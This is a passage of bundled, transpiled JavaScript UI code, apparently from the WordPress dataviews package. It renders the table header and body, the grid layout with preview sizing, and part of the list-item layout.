25913 /* @__PURE__ */ (0, import_jsx_runtime191.jsx)("thead", { onContextMenu: handleHeaderContextMenu, children: /* @__PURE__ */ (0, import_jsx_runtime191.jsxs)("tr", { className: "dataviews-view-table__row", children: [
25914 hasBulkActions && /* @__PURE__ */ (0, import_jsx_runtime191.jsx)(
25915 "th",
25916 {
25917 className: "dataviews-view-table__checkbox-column",
25918 scope: "col",
25919 onContextMenu: handleHeaderContextMenu,
25920 children: /* @__PURE__ */ (0, import_jsx_runtime191.jsx)(
25921 BulkSelectionCheckbox,
25922 {
25923 selection,
25924 onChangeSelection,
25925 data,
25926 actions,
25927 getItemId: getItemId2
25928 }
25929 )
25930 }
25931 ),
25932 hasPrimaryColumn && /* @__PURE__ */ (0, import_jsx_runtime191.jsx)("th", { scope: "col", children: titleField && /* @__PURE__ */ (0, import_jsx_runtime191.jsx)(
25933 column_header_menu_default,
25934 {
25935 ref: headerMenuRef(
25936 titleField.id,
25937 0
25938 ),
25939 fieldId: titleField.id,
25940 view,
25941 fields,
25942 onChangeView,
25943 onHide,
25944 setOpenedFilter,
25945 canMove: false,
25946 canInsertLeft: isRtl ? view.layout?.enableMoving ?? true : false,
25947 canInsertRight: isRtl ? false : view.layout?.enableMoving ?? true
25948 }
25949 ) }),
25950 columns.map((column, index) => {
25951 const { width, maxWidth, minWidth, align } = view.layout?.styles?.[column] ?? {};
25952 const field = fields.find(
25953 (f2) => f2.id === column
25954 );
25955 const effectiveAlign = getEffectiveAlign(
25956 align,
25957 field?.type
25958 );
25959 const canInsertOrMove = view.layout?.enableMoving ?? true;
25960 return /* @__PURE__ */ (0, import_jsx_runtime191.jsx)(
25961 "th",
25962 {
25963 style: {
25964 width,
25965 maxWidth,
25966 minWidth,
25967 textAlign: effectiveAlign
25968 },
25969 "aria-sort": view.sort?.direction && view.sort?.field === column ? sortValues[view.sort.direction] : void 0,
25970 scope: "col",
25971 children: /* @__PURE__ */ (0, import_jsx_runtime191.jsx)(
25972 column_header_menu_default,
25973 {
25974 ref: headerMenuRef(column, index),
25975 fieldId: column,
25976 view,
25977 fields,
25978 onChangeView,
25979 onHide,
25980 setOpenedFilter,
25981 canMove: canInsertOrMove,
25982 canInsertLeft: canInsertOrMove,
25983 canInsertRight: canInsertOrMove
25984 }
25985 )
25986 },
25987 column
25988 );
25989 }),
25990 !!actions?.length && /* @__PURE__ */ (0, import_jsx_runtime191.jsx)(
25991 "th",
25992 {
25993 className: clsx_default(
25994 "dataviews-view-table__actions-column",
25995 {
25996 "dataviews-view-table__actions-column--sticky": true,
25997 "dataviews-view-table__actions-column--stuck": !isHorizontalScrollEnd
25998 }
25999 ),
26000 children: /* @__PURE__ */ (0, import_jsx_runtime191.jsx)("span", { className: "dataviews-view-table-header", children: (0, import_i18n91.__)("Actions") })
26001 }
26002 )
26003 ] }) }),
26004 hasData && groupField && dataByGroup ? Array.from(dataByGroup.entries()).map(
26005 ([groupName, groupItems]) => /* @__PURE__ */ (0, import_jsx_runtime191.jsxs)("tbody", { children: [
26006 /* @__PURE__ */ (0, import_jsx_runtime191.jsx)("tr", { className: "dataviews-view-table__group-header-row", children: /* @__PURE__ */ (0, import_jsx_runtime191.jsx)(
26007 "td",
26008 {
26009 colSpan: columns.length + (hasPrimaryColumn ? 1 : 0) + (hasBulkActions ? 1 : 0) + (actions?.length ? 1 : 0),
26010 className: "dataviews-view-table__group-header-cell",
26011 children: view.groupBy?.showLabel === false ? groupName : (0, import_i18n91.sprintf)(
26012 // translators: 1: The label of the field e.g. "Date". 2: The value of the field, e.g.: "May 2022".
26013 (0, import_i18n91.__)("%1$s: %2$s"),
26014 groupField.label,
26015 groupName
26016 )
26017 }
26018 ) }),
26019 groupItems.map((item, index) => /* @__PURE__ */ (0, import_jsx_runtime191.jsx)(
26020 TableRow,
26021 {
26022 item,
26023 level: view.showLevels && typeof getItemLevel2 === "function" ? getItemLevel2(item) : void 0,
26024 hasBulkActions,
26025 actions,
26026 fields,
26027 id: getItemId2(item) || index.toString(),
26028 view,
26029 titleField,
26030 mediaField,
26031 descriptionField: descriptionField2,
26032 selection,
26033 getItemId: getItemId2,
26034 onChangeSelection,
26035 onClickItem,
26036 renderItemLink,
26037 isItemClickable,
26038 isActionsColumnSticky: !isHorizontalScrollEnd
26039 },
26040 getItemId2(item)
26041 ))
26042 ] }, `group-${groupName}`)
26043 ) : /* @__PURE__ */ (0, import_jsx_runtime191.jsx)("tbody", { children: hasData && data.map((item, index) => /* @__PURE__ */ (0, import_jsx_runtime191.jsx)(
26044 TableRow,
26045 {
26046 item,
26047 level: view.showLevels && typeof getItemLevel2 === "function" ? getItemLevel2(item) : void 0,
26048 hasBulkActions,
26049 actions,
26050 fields,
26051 id: getItemId2(item) || index.toString(),
26052 view,
26053 titleField,
26054 mediaField,
26055 descriptionField: descriptionField2,
26056 selection,
26057 getItemId: getItemId2,
26058 onChangeSelection,
26059 onClickItem,
26060 renderItemLink,
26061 isItemClickable,
26062 isActionsColumnSticky: !isHorizontalScrollEnd,
26063 posinset: isInfiniteScroll ? index + 1 : void 0
26064 },
26065 getItemId2(item)
26066 )) })
26067 ]
26068 }
26069 ),
26070 isInfiniteScroll && isLoading && /* @__PURE__ */ (0, import_jsx_runtime191.jsx)("div", { className: "dataviews-loading", id: tableNoticeId, children: /* @__PURE__ */ (0, import_jsx_runtime191.jsx)("p", { className: "dataviews-loading-more", children: /* @__PURE__ */ (0, import_jsx_runtime191.jsx)(import_components96.Spinner, {}) }) })
26071 ] });
26072 }
26073 var table_default = ViewTable;
26074
26075 // packages/dataviews/build-module/components/dataviews-layouts/grid/index.mjs
26076 var import_components99 = __toESM(require_components(), 1);
26077 var import_i18n94 = __toESM(require_i18n(), 1);
26078
26079 // packages/dataviews/build-module/components/dataviews-layouts/grid/composite-grid.mjs
26080 var import_components98 = __toESM(require_components(), 1);
26081 var import_i18n93 = __toESM(require_i18n(), 1);
26082 var import_compose15 = __toESM(require_compose(), 1);
26083 var import_keycodes7 = __toESM(require_keycodes(), 1);
26084 var import_element78 = __toESM(require_element(), 1);
26085
26086 // packages/dataviews/build-module/components/dataviews-layouts/grid/preview-size-picker.mjs
26087 var import_components97 = __toESM(require_components(), 1);
26088 var import_i18n92 = __toESM(require_i18n(), 1);
26089 var import_element77 = __toESM(require_element(), 1);
26090 var import_jsx_runtime192 = __toESM(require_jsx_runtime(), 1);
26091 var imageSizes = [
26092 {
26093 value: 120,
26094 breakpoint: 1
26095 },
26096 {
26097 value: 170,
26098 breakpoint: 1
26099 },
26100 {
26101 value: 230,
26102 breakpoint: 1
26103 },
26104 {
26105 value: 290,
26106 breakpoint: 1112
26107 // at minimum image width, 4 images display at this container size
26108 },
26109 {
26110 value: 350,
26111 breakpoint: 1636
26112 // at minimum image width, 6 images display at this container size
26113 },
26114 {
26115 value: 430,
26116 breakpoint: 588
26117 // at minimum image width, 2 images display at this container size
26118 }
26119 ];
26120 var DEFAULT_PREVIEW_SIZE = imageSizes[2].value;
26121 function useGridColumns() {
26122 const context = (0, import_element77.useContext)(dataviews_context_default);
26123 const view = context.view;
26124 return (0, import_element77.useMemo)(() => {
26125 const containerWidth = context.containerWidth;
26126 const gap = 32;
26127 const previewSize = view.layout?.previewSize ?? DEFAULT_PREVIEW_SIZE;
26128 const columns = Math.floor(
26129 (containerWidth + gap) / (previewSize + gap)
26130 );
26131 return Math.max(1, columns);
26132 }, [context.containerWidth, view.layout?.previewSize]);
26133 }
26134
26135 // packages/dataviews/build-module/components/dataviews-layouts/grid/composite-grid.mjs
26136 var import_jsx_runtime193 = __toESM(require_jsx_runtime(), 1);
26137 var { Badge: Badge3 } = unlock3(import_components98.privateApis);
26138 function chunk(array, size) {
26139 const chunks = [];
26140 for (let i2 = 0, j2 = array.length; i2 < j2; i2 += size) {
26141 chunks.push(array.slice(i2, i2 + size));
26142 }
26143 return chunks;
26144 }
26145 var GridItem = (0, import_element78.forwardRef)(function GridItem2({
26146 view,
26147 selection,
26148 onChangeSelection,
26149 onClickItem,
26150 isItemClickable,
26151 renderItemLink,
26152 getItemId: getItemId2,
26153 item,
26154 actions,
26155 mediaField,
26156 titleField,
26157 descriptionField: descriptionField2,
26158 regularFields,
26159 badgeFields,
26160 hasBulkActions,
26161 config: config2,
26162 ...props
26163 }, ref) {
26164 const { showTitle = true, showMedia = true, showDescription = true } = view;
26165 const hasBulkAction = useHasAPossibleBulkAction(actions, item);
26166 const id = getItemId2(item);
26167 const instanceId = (0, import_compose15.useInstanceId)(GridItem2);
26168 const isSelected2 = selection.includes(id);
26169 const mediaPlaceholder = /* @__PURE__ */ (0, import_jsx_runtime193.jsx)("span", { className: "dataviews-view-grid__media-placeholder" });
26170 const rendersMediaField = showMedia && mediaField?.render;
26171 const renderedMediaField = rendersMediaField ? /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
26172 mediaField.render,
26173 {
26174 item,
26175 field: mediaField,
26176 config: config2
26177 }
26178 ) : mediaPlaceholder;
26179 const renderedTitleField = showTitle && titleField?.render ? /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(titleField.render, { item, field: titleField }) : null;
26180 let mediaA11yProps;
26181 let titleA11yProps;
26182 if (isItemClickable(item) && onClickItem) {
26183 if (renderedTitleField) {
26184 mediaA11yProps = {
26185 "aria-labelledby": `dataviews-view-grid__title-field-${instanceId}`
26186 };
26187 titleA11yProps = {
26188 id: `dataviews-view-grid__title-field-${instanceId}`
26189 };
26190 } else {
26191 mediaA11yProps = {
26192 "aria-label": (0, import_i18n93.__)("Navigate to item")
26193 };
26194 }
26195 }
26196 return /* @__PURE__ */ (0, import_jsx_runtime193.jsxs)(
26197 Stack,
26198 {
26199 direction: "column",
26200 ...props,
26201 ref,
26202 className: clsx_default(
26203 props.className,
26204 "dataviews-view-grid__row__gridcell",
26205 "dataviews-view-grid__card",
26206 {
26207 "is-selected": hasBulkAction && isSelected2
26208 }
26209 ),
26210 onClickCapture: (event) => {
26211 props.onClickCapture?.(event);
26212 if ((0, import_keycodes7.isAppleOS)() ? event.metaKey : event.ctrlKey) {
26213 event.stopPropagation();
26214 event.preventDefault();
26215 if (!hasBulkAction) {
26216 return;
26217 }
26218 onChangeSelection(
26219 selection.includes(id) ? selection.filter((itemId) => id !== itemId) : [...selection, id]
26220 );
26221 }
26222 },
26223 children: [
26224 /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
26225 ItemClickWrapper,
26226 {
26227 item,
26228 isItemClickable,
26229 onClickItem,
26230 renderItemLink,
26231 className: clsx_default("dataviews-view-grid__media", {
26232 "dataviews-view-grid__media--placeholder": !rendersMediaField
26233 }),
26234 ...mediaA11yProps,
26235 children: renderedMediaField
26236 }
26237 ),
26238 hasBulkActions && /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
26239 DataViewsSelectionCheckbox,
26240 {
26241 item,
26242 selection,
26243 onChangeSelection,
26244 getItemId: getItemId2,
26245 titleField,
26246 disabled: !hasBulkAction
26247 }
26248 ),
26249 !!actions?.length && /* @__PURE__ */ (0, import_jsx_runtime193.jsx)("div", { className: "dataviews-view-grid__media-actions", children: /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(ItemActions, { item, actions, isCompact: true }) }),
26250 showTitle && /* @__PURE__ */ (0, import_jsx_runtime193.jsx)("div", { className: "dataviews-view-grid__title", children: /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
26251 ItemClickWrapper,
26252 {
26253 item,
26254 isItemClickable,
26255 onClickItem,
26256 renderItemLink,
26257 className: "dataviews-view-grid__title-field dataviews-title-field",
26258 ...titleA11yProps,
26259 title: titleField?.getValueFormatted({
26260 item,
26261 field: titleField
26262 }) || void 0,
26263 children: renderedTitleField
26264 }
26265 ) }),
26266 /* @__PURE__ */ (0, import_jsx_runtime193.jsxs)(Stack, { direction: "column", gap: "xs", children: [
26267 showDescription && descriptionField2?.render && /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
26268 descriptionField2.render,
26269 {
26270 item,
26271 field: descriptionField2
26272 }
26273 ),
26274 !!badgeFields?.length && /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
26275 Stack,
26276 {
26277 direction: "row",
26278 className: "dataviews-view-grid__badge-fields",
26279 gap: "sm",
26280 wrap: "wrap",
26281 align: "top",
26282 justify: "flex-start",
26283 children: badgeFields.map((field) => {
26284 return /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
26285 Badge3,
26286 {
26287 className: "dataviews-view-grid__field-value",
26288 children: /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
26289 field.render,
26290 {
26291 item,
26292 field
26293 }
26294 )
26295 },
26296 field.id
26297 );
26298 })
26299 }
26300 ),
26301 !!regularFields?.length && /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
26302 Stack,
26303 {
26304 direction: "column",
26305 className: "dataviews-view-grid__fields",
26306 gap: "xs",
26307 children: regularFields.map((field) => {
26308 return /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
26309 import_components98.Flex,
26310 {
26311 className: "dataviews-view-grid__field",
26312 gap: 1,
26313 justify: "flex-start",
26314 expanded: true,
26315 style: { height: "auto" },
26316 direction: "row",
26317 children: /* @__PURE__ */ (0, import_jsx_runtime193.jsxs)(import_jsx_runtime193.Fragment, { children: [
26318 /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(import_components98.Tooltip, { text: field.label, children: /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(import_components98.FlexItem, { className: "dataviews-view-grid__field-name", children: field.header }) }),
26319 /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
26320 import_components98.FlexItem,
26321 {
26322 className: "dataviews-view-grid__field-value",
26323 style: { maxHeight: "none" },
26324 children: /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
26325 field.render,
26326 {
26327 item,
26328 field
26329 }
26330 )
26331 }
26332 )
26333 ] })
26334 },
26335 field.id
26336 );
26337 })
26338 }
26339 )
26340 ] })
26341 ]
26342 }
26343 );
26344 });
26345 function CompositeGrid({
26346 data,
26347 isInfiniteScroll,
26348 className,
26349 inert,
26350 isLoading,
26351 view,
26352 fields,
26353 selection,
26354 onChangeSelection,
26355 onClickItem,
26356 isItemClickable,
26357 renderItemLink,
26358 getItemId: getItemId2,
26359 actions
26360 }) {
26361 const { paginationInfo, resizeObserverRef } = (0, import_element78.useContext)(dataviews_context_default);
26362 const gridColumns = useGridColumns();
26363 const hasBulkActions = useSomeItemHasAPossibleBulkAction(actions, data);
26364 const titleField = fields.find(
26365 (field) => field.id === view?.titleField
26366 );
26367 const mediaField = fields.find(
26368 (field) => field.id === view?.mediaField
26369 );
26370 const descriptionField2 = fields.find(
26371 (field) => field.id === view?.descriptionField
26372 );
26373 const otherFields = view.fields ?? [];
26374 const { regularFields, badgeFields } = otherFields.reduce(
26375 (accumulator, fieldId) => {
26376 const field = fields.find((f2) => f2.id === fieldId);
26377 if (!field) {
26378 return accumulator;
26379 }
26380 const key = view.layout?.badgeFields?.includes(fieldId) ? "badgeFields" : "regularFields";
26381 accumulator[key].push(field);
26382 return accumulator;
26383 },
26384 { regularFields: [], badgeFields: [] }
26385 );
26386 const size = "900px";
26387 const totalRows = Math.ceil(data.length / gridColumns);
26388 return /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
26389 import_components98.Composite,
26390 {
26391 role: isInfiniteScroll ? "feed" : "grid",
26392 className: clsx_default("dataviews-view-grid", className),
26393 focusWrap: true,
26394 "aria-busy": isLoading,
26395 "aria-rowcount": isInfiniteScroll ? void 0 : totalRows,
26396 ref: resizeObserverRef,
26397 inert,
26398 children: chunk(data, gridColumns).map((row, i2) => /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
26399 import_components98.Composite.Row,
26400 {
26401 render: /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
26402 "div",
26403 {
26404 role: "row",
26405 "aria-rowindex": i2 + 1,
26406 "aria-label": (0, import_i18n93.sprintf)(
26407 /* translators: %d: The row number in the grid */
26408 (0, import_i18n93.__)("Row %d"),
26409 i2 + 1
26410 ),
26411 className: "dataviews-view-grid__row",
26412 style: {
26413 gridTemplateColumns: `repeat( ${gridColumns}, minmax(0, 1fr) )`
26414 }
26415 }
26416 ),
26417 children: row.map((item, indexInRow) => {
26418 const index = i2 * gridColumns + indexInRow;
26419 return /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
26420 import_components98.Composite.Item,
26421 {
26422 render: (props) => /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
26423 GridItem,
26424 {
26425 ...props,
26426 role: isInfiniteScroll ? "article" : "gridcell",
26427 "aria-setsize": isInfiniteScroll ? paginationInfo.totalItems : void 0,
26428 "aria-posinset": isInfiniteScroll ? index + 1 : void 0,
26429 view,
26430 selection,
26431 onChangeSelection,
26432 onClickItem,
26433 isItemClickable,
26434 renderItemLink,
26435 getItemId: getItemId2,
26436 item,
26437 actions,
26438 mediaField,
26439 titleField,
26440 descriptionField: descriptionField2,
26441 regularFields,
26442 badgeFields,
26443 hasBulkActions,
26444 config: {
26445 sizes: size
26446 }
26447 }
26448 )
26449 },
26450 getItemId2(item)
26451 );
26452 })
26453 },
26454 i2
26455 ))
26456 }
26457 );
26458 }
26459
26460 // packages/dataviews/build-module/components/dataviews-layouts/grid/index.mjs
26461 var import_jsx_runtime194 = __toESM(require_jsx_runtime(), 1);
26462 function ViewGrid({
26463 actions,
26464 data,
26465 fields,
26466 getItemId: getItemId2,
26467 isLoading,
26468 onChangeSelection,
26469 onClickItem,
26470 isItemClickable,
26471 renderItemLink,
26472 selection,
26473 view,
26474 className,
26475 empty
26476 }) {
26477 const isDelayedLoading = useDelayedLoading(!!isLoading);
26478 const hasData = !!data?.length;
26479 const groupField = view.groupBy?.field ? fields.find((f2) => f2.id === view.groupBy?.field) : null;
26480 const dataByGroup = groupField ? getDataByGroup(data, groupField) : null;
26481 const isInfiniteScroll = view.infiniteScrollEnabled && !dataByGroup;
26482 if (!hasData) {
26483 return /* @__PURE__ */ (0, import_jsx_runtime194.jsx)(
26484 "div",
26485 {
26486 className: clsx_default("dataviews-no-results", {
26487 "is-refreshing": isDelayedLoading
26488 }),
26489 children: empty
26490 }
26491 );
26492 }
26493 const gridProps = {
26494 className: clsx_default(className, {
26495 "is-refreshing": !isInfiniteScroll && isDelayedLoading
26496 }),
26497 inert: !isInfiniteScroll && !!isLoading ? "true" : void 0,
26498 isLoading,
26499 view,
26500 fields,
26501 selection,
26502 onChangeSelection,
26503 onClickItem,
26504 isItemClickable,
26505 renderItemLink,
26506 getItemId: getItemId2,
26507 actions
26508 };
26509 return /* @__PURE__ */ (0, import_jsx_runtime194.jsxs)(import_jsx_runtime194.Fragment, {
26510 // Render multiple groups.
26511 children: [
26512 hasData && groupField && dataByGroup && /* @__PURE__ */ (0, import_jsx_runtime194.jsx)(Stack, { direction: "column", gap: "lg", children: Array.from(dataByGroup.entries()).map(
26513 ([groupName, groupItems]) => /* @__PURE__ */ (0, import_jsx_runtime194.jsxs)(
26514 Stack,
26515 {
26516 direction: "column",
26517 gap: "sm",
26518 children: [
26519 /* @__PURE__ */ (0, import_jsx_runtime194.jsx)("h3", { className: "dataviews-view-grid__group-header", children: view.groupBy?.showLabel === false ? groupName : (0, import_i18n94.sprintf)(
26520 // translators: 1: The label of the field e.g. "Date". 2: The value of the field, e.g.: "May 2022".
26521 (0, import_i18n94.__)("%1$s: %2$s"),
26522 groupField.label,
26523 groupName
26524 ) }),
26525 /* @__PURE__ */ (0, import_jsx_runtime194.jsx)(
26526 CompositeGrid,
26527 {
26528 ...gridProps,
26529 data: groupItems,
26530 isInfiniteScroll: false
26531 }
26532 )
26533 ]
26534 },
26535 groupName
26536 )
26537 ) }),
26538 // Render a single grid with all data.
26539 !dataByGroup && /* @__PURE__ */ (0, import_jsx_runtime194.jsx)(
26540 CompositeGrid,
26541 {
26542 ...gridProps,
26543 data,
26544 isInfiniteScroll: !!isInfiniteScroll
26545 }
26546 ),
26547 isInfiniteScroll && isLoading && /* @__PURE__ */ (0, import_jsx_runtime194.jsx)("p", { className: "dataviews-loading-more", children: /* @__PURE__ */ (0, import_jsx_runtime194.jsx)(import_components99.Spinner, {}) })
26548 ]
26549 });
26550 }
26551 var grid_default = ViewGrid;
26552
26553 // packages/dataviews/build-module/components/dataviews-layouts/list/index.mjs
26554 var import_compose16 = __toESM(require_compose(), 1);
26555 var import_components100 = __toESM(require_components(), 1);
26556 var import_element79 = __toESM(require_element(), 1);
26557 var import_i18n95 = __toESM(require_i18n(), 1);
26558 var import_data61 = __toESM(require_data(), 1);
26559 var import_jsx_runtime195 = __toESM(require_jsx_runtime(), 1);
26560 var { Menu: Menu7 } = unlock3(import_components100.privateApis);
26561 function generateItemWrapperCompositeId(idPrefix) {
26562 return `${idPrefix}-item-wrapper`;
26563 }
26564 function generatePrimaryActionCompositeId(idPrefix, primaryActionId) {
26565 return `${idPrefix}-primary-action-${primaryActionId}`;
26566 }
26567 function generateDropdownTriggerCompositeId(idPrefix) {
26568 return `${idPrefix}-dropdown`;
26569 }
26570 function PrimaryActionGridCell({
26571 idPrefix,
26572 primaryAction,
26573 item
26574 }) {
26575 const registry = (0, import_data61.useRegistry)();
26576 const [isModalOpen, setIsModalOpen] = (0, import_element79.useState)(false);
26577 const compositeItemId = generatePrimaryActionCompositeId(
26578 idPrefix,
26579 primaryAction.id
26580 );
26581 const label = typeof primaryAction.label === "string" ? primaryAction.label : primaryAction.label([item]);
26582 return "RenderModal" in primaryAction ? /* @__PURE__ */ (0, import_jsx_runtime195.jsx)("div", { role: "gridcell", children: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
26583 import_components100.Composite.Item,
26584 {
26585 id: compositeItemId,
26586 render: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
26587 import_components100.Button,
26588 {
26589 disabled: !!primaryAction.disabled,
26590 accessibleWhenDisabled: true,
26591 text: label,
26592 size: "small",
26593 onClick: () => setIsModalOpen(true)
26594 }
26595 ),
26596 children: isModalOpen && /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
26597 ActionModal,
26598 {
26599 action: primaryAction,
26600 items: [item],
26601 closeModal: () => setIsModalOpen(false)
26602 }
26603 )
26604 }
26605 ) }, primaryAction.id) : /* @__PURE__ */ (0, import_jsx_runtime195.jsx)("div", { role: "gridcell", children: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
26606 import_components100.Composite.Item,
26607 {
26608 id: compositeItemId,
26609 render: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
26610 import_components100.Button,
26611 {
26612 disabled: !!primaryAction.disabled,
26613 accessibleWhenDisabled: true,
26614 size: "small",
26615 onClick: () => {
26616 primaryAction.callback([item], { registry });
26617 },
26618 children: label
26619 }
26620 )
26621 }
26622 ) }, primaryAction.id);
26623 }
26624 function ListItem({
26625 view,
26626 actions,
26627 idPrefix,
26628 isSelected: isSelected2,
26629 item,
26630 titleField,
26631 mediaField,
26632 descriptionField: descriptionField2,
26633 onSelect,
26634 otherFields,
26635 onDropdownTriggerKeyDown,
26636 posinset
26637 }) {
26638 const {
26639 showTitle = true,
26640 showMedia = true,
26641 showDescription = true,
26642 infiniteScrollEnabled
26643 } = view;
26644 const itemRef = (0, import_element79.useRef)(null);
26645 const labelId = `${idPrefix}-label`;
26646 const descriptionId = `${idPrefix}-description`;
26647 const registry = (0, import_data61.useRegistry)();
26648 const [isHovered, setIsHovered] = (0, import_element79.useState)(false);
26649 const [activeModalAction, setActiveModalAction] = (0, import_element79.useState)(
26650 null
26651 );
26652 const handleHover = ({ type }) => {
26653 const isHover = type === "mouseenter";
26654 setIsHovered(isHover);
26655 };
26656 const { paginationInfo } = (0, import_element79.useContext)(dataviews_context_default);
26657 (0, import_element79.useEffect)(() => {
26658 if (isSelected2) {
26659 itemRef.current?.scrollIntoView({
26660 behavior: "auto",
26661 block: "nearest",
26662 inline: "nearest"
26663 });
26664 }
26665 }, [isSelected2]);
26666 const { primaryAction, eligibleActions } = (0, import_element79.useMemo)(() => {
26667 const _eligibleActions = actions.filter(
26668 (action) => !action.isEligible || action.isEligible(item)
26669 );
26670 const _primaryActions = _eligibleActions.filter(
26671 (action) => action.isPrimary
26672 );
26673 return {
26674 primaryAction: _primaryActions[0],
26675 eligibleActions: _eligibleActions
26676 };
26677 }, [actions, item]);
26678 const hasOnlyOnePrimaryAction = primaryAction && actions.length === 1;
26679 const renderedMediaField = showMedia && mediaField?.render ? /* @__PURE__ */ (0, import_jsx_runtime195.jsx)("div", { className: "dataviews-view-list__media-wrapper", children: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
26680 mediaField.render,
26681 {
26682 item,
26683 field: mediaField,
26684 config: { sizes: "52px" }
26685 }
26686 ) }) : null;
26687 const renderedTitleField = showTitle && titleField?.render ? /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(titleField.render, { item, field: titleField }) : null;
26688 const usedActions = eligibleActions?.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime195.jsxs)(
26689 Stack,
26690 {
26691 direction: "row",
26692 gap: "md",
26693 className: "dataviews-view-list__item-actions",
26694 children: [
26695 primaryAction && /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
26696 PrimaryActionGridCell,
26697 {
26698 idPrefix,
26699 primaryAction,
26700 item
26701 }
26702 ),
26703 !hasOnlyOnePrimaryAction && /* @__PURE__ */ (0, import_jsx_runtime195.jsxs)("div", { role: "gridcell", children: [
26704 /* @__PURE__ */ (0, import_jsx_runtime195.jsxs)(Menu7, { placement: "bottom-end", children: [
26705 /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
26706 Menu7.TriggerButton,
26707 {
26708 render: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
26709 import_components100.Composite.Item,
26710 {
26711 id: generateDropdownTriggerCompositeId(
26712 idPrefix
26713 ),
26714 render: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
26715 import_components100.Button,
26716 {
26717 size: "small",
26718 icon: more_vertical_default,
26719 label: (0, import_i18n95.__)("Actions"),
26720 accessibleWhenDisabled: true,
26721 disabled: !actions.length,
26722 onKeyDown: onDropdownTriggerKeyDown
26723 }
26724 )
26725 }
26726 )
26727 }
26728 ),
26729 /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(Menu7.Popover, { children: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
26730 ActionsMenuGroup,
26731 {
26732 actions: eligibleActions,
26733 item,
26734 registry,
26735 setActiveModalAction
26736 }
26737 ) })
26738 ] }),
26739 !!activeModalAction && /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
26740 ActionModal,
26741 {
26742 action: activeModalAction,
26743 items: [item],
26744 closeModal: () => setActiveModalAction(null)
26745 }
26746 )
26747 ] })
26748 ]
26749 }
26750 );
26751 return /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
26752 import_components100.Composite.Row,
26753 {
26754 ref: itemRef,
26755 render: (
26756 /* aria-posinset breaks Composite.Row if passed to it directly. */
26757 /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
26758 "div",
26759 {
26760 "aria-posinset": posinset,
26761 "aria-setsize": infiniteScrollEnabled ? paginationInfo.totalItems : void 0
26762 }
26763 )
26764 ),
26765 role: infiniteScrollEnabled ? "article" : "row",
26766 className: clsx_default({
26767 "is-selected": isSelected2,
26768 "is-hovered": isHovered
26769 }),
26770 onMouseEnter: handleHover,
26771 onMouseLeave: handleHover,
26772 children: /* @__PURE__ */ (0, import_jsx_runtime195.jsxs)(
26773 Stack,
26774 {
26775 direction: "row",
26776 className: "dataviews-view-list__item-wrapper",
26777 children: [
26778 /* @__PURE__ */ (0, import_jsx_runtime195.jsx)("div", { role: "gridcell", children: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
26779 import_components100.Composite.Item,
26780 {
26781 id: generateItemWrapperCompositeId(idPrefix),
26782 "aria-pressed": isSelected2,
26783 "aria-labelledby": labelId,
26784 "aria-describedby": descriptionId,
26785 className: "dataviews-view-list__item",
26786 onClick: () => onSelect(item)
26787 }
26788 ) }),
26789 /* @__PURE__ */ (0, import_jsx_runtime195.jsxs)(
26790 Stack,
26791 {
26792 direction: "row",
26793 gap: "md",
26794 justify: "start",
26795 align: "flex-start",
26796 style: { flex: 1, minWidth: 0 },
26797 children: [
26798 renderedMediaField,
26799 /* @__PURE__ */ (0, import_jsx_runtime195.jsxs)(
26800 Stack,
26801 {
26802 direction: "column",
26803 gap: "xs",
26804 className: "dataviews-view-list__field-wrapper",
26805 children: [
26806 /* @__PURE__ */ (0, import_jsx_runtime195.jsxs)(Stack, { direction: "row", align: "center", children: [
26807 /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
26808 "div",
26809 {
26810 className: "dataviews-title-field dataviews-view-list__title-field",
26811 id: labelId,
26812 children: renderedTitleField
26813 }
26814 ),
26815 usedActions
26816 ] }),
26817 showDescription && descriptionField2?.render && /* @__PURE__ */ (0, import_jsx_runtime195.jsx)("div", { className: "dataviews-view-list__field", children: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
26818 descriptionField2.render,
26819 {
26820 item,
26821 field: descriptionField2
26822 }
26823 ) }),
26824 /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
26825 "div",
26826 {
26827 className: "dataviews-view-list__fields",
26828 id: descriptionId,
26829 children: otherFields.map((field) => /* @__PURE__ */ (0, import_jsx_runtime195.jsxs)(
26830 "div",
26831 {
26832 className: "dataviews-view-list__field",
26833 children: [
26834 /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
26835 import_components100.VisuallyHidden,
26836 {
26837 as: "span",
26838 className: "dataviews-view-list__field-label",
26839 children: field.label
26840 }
26841 ),
